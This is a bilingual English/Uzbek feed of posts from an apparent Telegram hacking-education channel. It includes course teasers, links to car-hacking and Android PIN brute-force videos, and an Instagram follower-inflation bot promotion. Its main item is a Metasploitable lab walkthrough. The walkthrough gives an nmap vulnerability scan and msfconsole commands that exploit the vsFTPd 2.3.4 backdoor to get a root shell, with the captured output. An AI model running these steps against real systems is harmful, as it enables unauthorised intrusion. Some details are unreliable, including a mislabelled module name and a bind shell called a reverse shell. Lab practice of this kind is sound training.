#128day

Introduction & Teaser

@python_for_hacking

Python For Hacking 128day courser. New version 🔥🔥🔥🔥🔥

#128day

Packet sniffer
Introduction & Teaser

@python_for_hacking

#128day

Sniffing Packets Using Scapy

@python_for_hacking

🏟 Car Hacking with Python 🏟

#blog

➼ https://medium.com/bugbountywriteup/car-hacking-with-python-part-1-data-exfiltration-gps-and-obdii-can-bus-69bc6b101fd1


━━━━━━━━━━━━━
@python_for_hacking

#128day

Refactoring & Housekeeping

@python_for_hacking

Junatib qoyamiz🔥🫡

✉️ What is an SMTP Server ? ✉️

SMTP stands for Simple Mail Transfer Protocol, a TCP/IP protocol used by professional and free SMTP servers to send, receive, and relay messages across the web.

✉️ SMTP serveri nima? ✉️

SMTP oddiy pochta uzatish protokoli degan ma'noni anglatadi, bu TCP/IP protokoli bo'lib, professional va bepul SMTP serverlari tomonidan Internet bo'ylab xabarlarni yuborish, qabul qilish va uzatish uchun ishlatiladi.

Toʻliq👇
https://bit.ly/3FZ2gBG

@python_for_hacking

#best🔥

Hacking into Android in 32 seconds | HID attack | Metasploit | PIN brute force PoC

@python_for_hacking

#free #followers

How to Increase Followers Likes on Instagram 2023 | Free Instagram Bot Python (10K FAST)

Instagramga python da yozilagan telegram bot orqali nakrutka uring😼🔥

@python_for_hacking

#algoritm

Create a function that takes two numbers as arguments (num, length) and returns a list of multiples of num until the list length reaches length.

Argument sifatida ikkita raqamni (son, uzunlik) oladigan va roʻyxat uzunligi uzunlikka yetguncha son koʻpaytmalari roʻyxatini qaytaradigan funksiya yarating.

Coomment👇

#david_bombal

Hacking networks with Python // Creating malicious packets and breaking TCP/IP rules

@python_for_hacking

🆘Metasploitable: Attack example🆘

Asap everyone! Since it is illegal to hack other people's computers and the smell of vulnerabilities attracts just like blood for a vampire, it makes sense to organize a small, modest pentest laboratory on your network.

There are many applications that can help you test your skills or try to improve them in every possible way. They are BWapp, Damn Vulnerable Web Application (DVWA), a huge number of CTF competitions and much more.

#Metasploitable
However, today we are downloading an entire virtual machine. Go here https://sourceforge.net/projects/metasploitable/ and just wait for the download to complete. I hope I don't have to teach you how to create a virtual machine. In short, I will say that I prefer Oracle VirtualBox. It's free and very cool. We create a machine with ubutu 64x and connect the virtual disk that we have to it.

#Disclaimer
Small disclaimer. Friends, everything that will be told in this post is shown solely for your self-education and nothing else. If you want to hack something, become a pentester or go through the CTF. Never use knowledge to the detriment of others!

Oh, and by the way. Create a network bridge on your computer. Nothing will work through NAT. Now that everything is ready, we start the machine and enter it using the data msfadmin:msfadmin.

Now let's go to Kali Linux and see what happens there.

#Nmap
I would love to use normal vulnerability scanners like Nessus or OpenVas, but we will use nmap, which already has scripts to detect vulnerabilities. By the way, they do not work through a proxy or tor, so in order to hack something you will have to know by heart how this or that web service is operated.

Go. We go into metasploitable and look at our local ip address. In my case it is 192.168.1.131.

#Start scan
We write the following command in kali linux:
sudo nmap -sV -Pn --script vulners 192.168.1.131
The sV flag means that we will get additional information about the name of the service behind the port and its patch version.
The Pn flag means that we will not send ping requests and will treat all hosts as if they are online, skip host discovery.

#Vulnerability selection
After a couple of seconds, we see a huge number of vulnerabilities. We are interested in the highest. Let's take CVE-2011-2523 as an example.

#msfconsole
Google everything about the vulnerability and at the same time open msfconsole and write:

💣search ftp

💣use exploit unix/ftp/proftpd133cbackdoor

Select payload. I chose cmd/unix/interact.

💣Set payload payload/cmd/interact.

💣set RHOSTS 192.168.1.131

Here, as you understand, ip metasploitable in LAN.

💣Exploit

And we see the following:
192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)
* 192.168.1.131:21 - USER: 331 Please specify the password.
+ 192.168.1.131:21 - Backdoor service has been spawned, handling...
+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)
* Found shell.
* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)

And here you have a reverse shell. And she's even a root shell! So no privilege escalation is needed.

Of course, I chose the vulnerability that you can’t find anywhere else, but in the next post we will look at something more real. Thanks everyone and see you soon!


🆘Metasploitable: Hujum misoli🆘

Hammaga tezroq! Boshqa odamlarning kompyuterlarini buzish noqonuniy ekanligi va zaifliklarning hidi xuddi vampir uchun qon kabi jalb qilinganligi sababli, tarmog'ingizda kichik, oddiy pentest laboratoriyasini tashkil qilish mantiqan.

Ko'nikmalaringizni sinab ko'rishga yoki ularni har tomonlama yaxshilashga yordam beradigan ko'plab ilovalar mavjud. Bular BWapp, Damn Vulnerable Web Application (DVWA), ko'plab CTF musobaqalari va boshqalar.

#Metasploitable
Biroq, bugun biz butun virtual mashinani yuklab olamiz. Bu yerga o'ting https://sourceforge.net/projects/metasploitable/ va yuklab olish tugashini kuting. Umid qilamanki, sizga virtual mashina yaratishni o'rgatishim shart emas. Qisqasi, men Oracle VirtualBox-ni afzal ko'rganimni aytaman. Bu bepul va juda ajoyib.